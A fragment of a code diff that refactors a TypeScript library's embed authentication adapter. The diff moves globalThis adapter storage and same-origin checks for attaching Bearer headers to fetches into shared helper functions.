- * The registered adapter is parked on `globalThis`, NOT in a module-private
144
- * `let`. Reason: this lib ships multiple entry points (`/utils`,
145
- * `/components/chat`, …) and a consumer's bundler can inline this file into
146
- * more than one chunk — giving each chunk its OWN module scope. If the host
147
- * calls `setEmbedAuthAdapter` from the `/utils` copy while the chat's
148
- * `embedAuthedFetch` runs from the `/components/chat` copy, a module-local
149
- * `let` would be set on one copy and read as `null` on the other (the exact
150
- * "credentials: same-origin, no Bearer, no refresh" symptom). A single
151
- * `globalThis` slot is shared across every copy, so registration always
152
- * reaches the fetch path.
153
- */
154
- const ADAPTER_GLOBAL_KEY = '__embedAuthedFetchAdapter__';
155
-
144
+ /** The registered adapter: a `globalThis` slot shared by every copy of this module (see the registry). */
156
145
  function getRegisteredAuthAdapter(): EmbedAuthAdapter | null {
157
- if (typeof globalThis === 'undefined') return null;
158
- return ((globalThis as Record<string, unknown>)[ADAPTER_GLOBAL_KEY] as EmbedAuthAdapter | null) ?? null;
159
- }
160
-
161
- function storeRegisteredAuthAdapter(adapter: EmbedAuthAdapter | null): void {
162
- if (typeof globalThis === 'undefined') return;
163
- (globalThis as Record<string, unknown>)[ADAPTER_GLOBAL_KEY] = adapter;
146
+ return readRegisteredAdapter<EmbedAuthAdapter>();
164
147
  }
165
148
 
166
149
  /**
@@ -181,7 +164,7 @@ export function setEmbedAuthAdapter(adapter: EmbedAuthAdapter | null): void {
181
164
  'mount order and pass `null` from the unmounting provider.',
182
165
  );
183
166
  }
184
- storeRegisteredAuthAdapter(adapter);
167
+ writeRegisteredAdapter(adapter);
185
168
  }
186
169
 
187
170
  /**
@@ -237,19 +220,8 @@ export function needsBearerAssetFetch(url: string): boolean {
237
220
  if (typeof window === 'undefined') return false;
238
221
  const adapter = getRegisteredAuthAdapter();
239
222
  if (!adapter || adapter.getHeaders?.().Authorization === undefined) return false;
240
- let target: URL;
241
- let pageOrigin: string;
242
- try {
243
- target = new URL(url, window.location.href);
244
- // Same reason `assertSameOrigin` derives it this way: test environments
245
- // mock `window.location` as a plain object with no `origin` field.
246
- pageOrigin = new URL(window.location.href).origin;
247
- } catch {
248
- return false;
249
- }
250
- if (target.protocol !== 'http:' && target.protocol !== 'https:') return false;
251
- if (target.origin === pageOrigin) return true;
252
- return adapter.allowedOrigins?.includes(target.origin) ?? false;
223
+ const target = resolveAppOriginUrl(url);
224
+ return target !== null && (target.protocol === 'http:' || target.protocol === 'https:');
253
225
  }
254
226
 
255
227
  /**